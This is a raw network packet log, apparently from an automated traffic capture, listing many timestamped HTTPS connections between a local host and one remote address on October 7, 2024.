Oct 7, 2024 18:01:14.176433086 CEST	443	60273	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.176883936 CEST	60273	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.176898956 CEST	443	60273	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.182770967 CEST	443	60275	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.183304071 CEST	60275	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.183392048 CEST	443	60275	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.183717966 CEST	60275	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.183733940 CEST	443	60275	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.207030058 CEST	443	60274	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.207617044 CEST	60274	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.207634926 CEST	443	60274	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.207994938 CEST	60274	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.207998991 CEST	443	60274	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.253077030 CEST	443	60276	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.253777981 CEST	60276	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.253787041 CEST	443	60276	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.254106998 CEST	60276	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.254112005 CEST	443	60276	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.286540985 CEST	443	60277	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.287097931 CEST	60277	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.287130117 CEST	443	60277	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.287545919 CEST	60277	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.287550926 CEST	443	60277	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.299850941 CEST	443	60273	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.300031900 CEST	443	60273	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.300096989 CEST	60273	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.300168037 CEST	60273	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.300192118 CEST	443	60273	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.300203085 CEST	60273	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.300209045 CEST	443	60273	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.301762104 CEST	443	60275	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.301830053 CEST	443	60275	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.301918030 CEST	60275	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.302012920 CEST	60275	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.302012920 CEST	60275	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.302058935 CEST	443	60275	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.302092075 CEST	443	60275	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.303091049 CEST	60278	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.303127050 CEST	443	60278	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.303191900 CEST	60278	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.303309917 CEST	60278	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.303330898 CEST	443	60278	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.304234028 CEST	60279	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.304258108 CEST	443	60279	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.304346085 CEST	60279	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.304455042 CEST	60279	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.304466009 CEST	443	60279	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.351978064 CEST	443	60274	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.352128983 CEST	443	60274	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.352241993 CEST	60274	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.353255987 CEST	60274	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.353283882 CEST	443	60274	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.353296995 CEST	60274	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.353303909 CEST	443	60274	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.364181995 CEST	60280	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.364221096 CEST	443	60280	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.364296913 CEST	60280	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.364447117 CEST	60280	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.364464045 CEST	443	60280	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.397747040 CEST	443	60276	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.397813082 CEST	443	60276	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.397922039 CEST	60276	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.398117065 CEST	60276	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.398143053 CEST	443	60276	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.398315907 CEST	60276	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.398322105 CEST	443	60276	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.412453890 CEST	443	60277	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.412523031 CEST	443	60277	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.412573099 CEST	60277	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.412708998 CEST	60277	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.412728071 CEST	443	60277	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.412740946 CEST	60277	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.412745953 CEST	443	60277	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.437400103 CEST	60281	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.437475920 CEST	443	60281	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.437541008 CEST	60281	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.437689066 CEST	60281	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.437700033 CEST	443	60281	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.438144922 CEST	60282	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.438153982 CEST	443	60282	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:14.438308954 CEST	60282	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.438424110 CEST	60282	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:14.438436985 CEST	443	60282	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.001363039 CEST	443	60279	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.002000093 CEST	60279	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.002019882 CEST	443	60279	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.002535105 CEST	60279	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.002541065 CEST	443	60279	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.040421963 CEST	443	60278	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.040891886 CEST	60278	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.040932894 CEST	443	60278	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.041343927 CEST	60278	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.041362047 CEST	443	60278	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.060991049 CEST	443	60280	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.066062927 CEST	60280	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.066081047 CEST	443	60280	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.066534996 CEST	60280	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.066544056 CEST	443	60280	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.119836092 CEST	443	60279	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.119910955 CEST	443	60279	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.120044947 CEST	60279	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.120166063 CEST	60279	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.120166063 CEST	60279	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.120184898 CEST	443	60279	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.120194912 CEST	443	60279	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.122945070 CEST	60283	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.122981071 CEST	443	60283	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.123040915 CEST	60283	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.123207092 CEST	60283	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.123220921 CEST	443	60283	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.129093885 CEST	443	60282	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.129477024 CEST	60282	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.129522085 CEST	443	60282	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.129966021 CEST	60282	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.129973888 CEST	443	60282	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.130708933 CEST	443	60281	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.131053925 CEST	60281	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.131067991 CEST	443	60281	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.131453037 CEST	60281	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.131458044 CEST	443	60281	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.155380964 CEST	443	60278	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.155469894 CEST	443	60278	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.155517101 CEST	60278	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.155661106 CEST	60278	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.155673981 CEST	443	60278	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.155677080 CEST	60278	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.155682087 CEST	443	60278	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.158293009 CEST	60284	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.158340931 CEST	443	60284	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.158412933 CEST	60284	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.158529997 CEST	60284	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.158560038 CEST	443	60284	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.166836977 CEST	443	60280	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.166898012 CEST	443	60280	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.166944027 CEST	60280	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.167093039 CEST	60280	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.167109013 CEST	443	60280	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.167125940 CEST	60280	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.167130947 CEST	443	60280	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.169462919 CEST	60285	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.169512987 CEST	443	60285	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.169574976 CEST	60285	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.169719934 CEST	60285	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.169739008 CEST	443	60285	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.259074926 CEST	443	60282	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.259149075 CEST	443	60282	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.259206057 CEST	60282	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.259402037 CEST	60282	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.259402990 CEST	60282	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.259427071 CEST	443	60282	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.259439945 CEST	443	60282	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.261884928 CEST	60286	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.261928082 CEST	443	60286	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.262001038 CEST	60286	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.262130976 CEST	60286	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.262145996 CEST	443	60286	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.279644966 CEST	443	60281	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.279712915 CEST	443	60281	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.279767990 CEST	60281	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.279864073 CEST	60281	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.279875994 CEST	443	60281	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.279889107 CEST	60281	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.279895067 CEST	443	60281	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.282037020 CEST	60287	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.282087088 CEST	443	60287	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.282159090 CEST	60287	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.282296896 CEST	60287	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.282326937 CEST	443	60287	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.782800913 CEST	443	60283	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.783263922 CEST	60283	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.783293009 CEST	443	60283	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.783720016 CEST	60283	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.783725977 CEST	443	60283	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.801486015 CEST	443	60285	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.802043915 CEST	60285	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.802083969 CEST	443	60285	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.802479029 CEST	60285	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.802486897 CEST	443	60285	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.832957983 CEST	443	60284	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.833287001 CEST	60284	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.833318949 CEST	443	60284	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.833667040 CEST	60284	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.833673000 CEST	443	60284	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.884545088 CEST	443	60286	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.884991884 CEST	60286	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.885023117 CEST	443	60286	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.885391951 CEST	60286	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.885400057 CEST	443	60286	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.896899939 CEST	443	60283	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.897052050 CEST	443	60283	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.897104979 CEST	60283	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.897178888 CEST	60283	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.897195101 CEST	443	60283	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.897207022 CEST	60283	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.897212982 CEST	443	60283	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.905973911 CEST	443	60287	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.910661936 CEST	60288	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.910693884 CEST	443	60288	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.910749912 CEST	60288	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.911000013 CEST	60288	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.911012888 CEST	443	60288	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.911477089 CEST	60287	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.911505938 CEST	443	60287	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.911885977 CEST	60287	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.911897898 CEST	443	60287	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.923106909 CEST	443	60285	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.923182011 CEST	443	60285	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.923229933 CEST	60285	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.923423052 CEST	60285	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.923445940 CEST	443	60285	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.923461914 CEST	60285	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.923470020 CEST	443	60285	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.925659895 CEST	60289	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.925708055 CEST	443	60289	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.925771952 CEST	60289	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.925873041 CEST	60289	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.925883055 CEST	443	60289	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.946329117 CEST	443	60284	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.946474075 CEST	443	60284	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.946535110 CEST	60284	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.946557045 CEST	60284	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.946571112 CEST	443	60284	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.946578026 CEST	60284	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.946583033 CEST	443	60284	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.948257923 CEST	60290	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.948293924 CEST	443	60290	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.948357105 CEST	60290	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.948467016 CEST	60290	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.948477983 CEST	443	60290	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.990470886 CEST	443	60286	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.990545988 CEST	443	60286	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.990601063 CEST	60286	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.990709066 CEST	60286	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.990721941 CEST	443	60286	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.990735054 CEST	60286	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.990741014 CEST	443	60286	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.993129015 CEST	60291	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.993165970 CEST	443	60291	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:15.993228912 CEST	60291	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.993664980 CEST	60291	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:15.993680954 CEST	443	60291	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.015592098 CEST	443	60287	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.015664101 CEST	443	60287	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.015794039 CEST	60287	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.016088963 CEST	60287	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.016088963 CEST	60287	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.016108990 CEST	443	60287	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.016129971 CEST	443	60287	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.018134117 CEST	60292	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.018173933 CEST	443	60292	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.018245935 CEST	60292	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.018369913 CEST	60292	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.018388987 CEST	443	60292	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.669807911 CEST	443	60289	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.670392990 CEST	60289	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.670406103 CEST	443	60289	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.671108961 CEST	60289	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.671123028 CEST	443	60289	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.671224117 CEST	443	60290	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.671478987 CEST	60290	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.671490908 CEST	443	60290	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.672127962 CEST	60290	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.672132969 CEST	443	60290	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.690897942 CEST	443	60288	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.691143036 CEST	60288	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.691159964 CEST	443	60288	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.691478968 CEST	60288	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.691484928 CEST	443	60288	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.715010881 CEST	443	60291	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.715395927 CEST	60291	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.715419054 CEST	443	60291	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.715749025 CEST	60291	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.715756893 CEST	443	60291	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.739603996 CEST	443	60292	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.740072012 CEST	60292	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.740094900 CEST	443	60292	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.740581989 CEST	60292	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.740586996 CEST	443	60292	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.774080992 CEST	443	60289	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.774209976 CEST	443	60289	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.774414062 CEST	60289	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.774570942 CEST	60289	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.774570942 CEST	60289	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.774595022 CEST	443	60289	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.774605989 CEST	443	60289	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.776923895 CEST	443	60290	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.777081966 CEST	443	60290	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.777208090 CEST	60290	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.777283907 CEST	60290	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.777283907 CEST	60290	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.777301073 CEST	443	60290	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.777316093 CEST	443	60290	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.777360916 CEST	60293	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.777460098 CEST	443	60293	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.777549982 CEST	60293	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.777720928 CEST	60293	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.777745008 CEST	443	60293	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.779462099 CEST	60294	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.779486895 CEST	443	60294	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.779581070 CEST	60294	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.779741049 CEST	60294	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.779763937 CEST	443	60294	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.805340052 CEST	443	60288	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.805407047 CEST	443	60288	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.805516005 CEST	60288	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.805834055 CEST	60288	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.805860043 CEST	443	60288	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.805872917 CEST	60288	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.805881023 CEST	443	60288	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.808923960 CEST	60295	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.808960915 CEST	443	60295	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.809039116 CEST	60295	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.809278965 CEST	60295	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.809297085 CEST	443	60295	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.820481062 CEST	443	60291	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.820549011 CEST	443	60291	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.820628881 CEST	60291	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.820822001 CEST	60291	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.820841074 CEST	443	60291	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.820851088 CEST	60291	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.820857048 CEST	443	60291	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.823640108 CEST	60296	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.823692083 CEST	443	60296	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.823792934 CEST	60296	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.823982954 CEST	60296	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.824002028 CEST	443	60296	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.846503973 CEST	443	60292	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.846667051 CEST	443	60292	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.846865892 CEST	60292	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.846865892 CEST	60292	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.846887112 CEST	60292	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:16.846898079 CEST	443	60292	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:16.849529028 CEST	60297	443	192.168.2.4	13.107.253.45
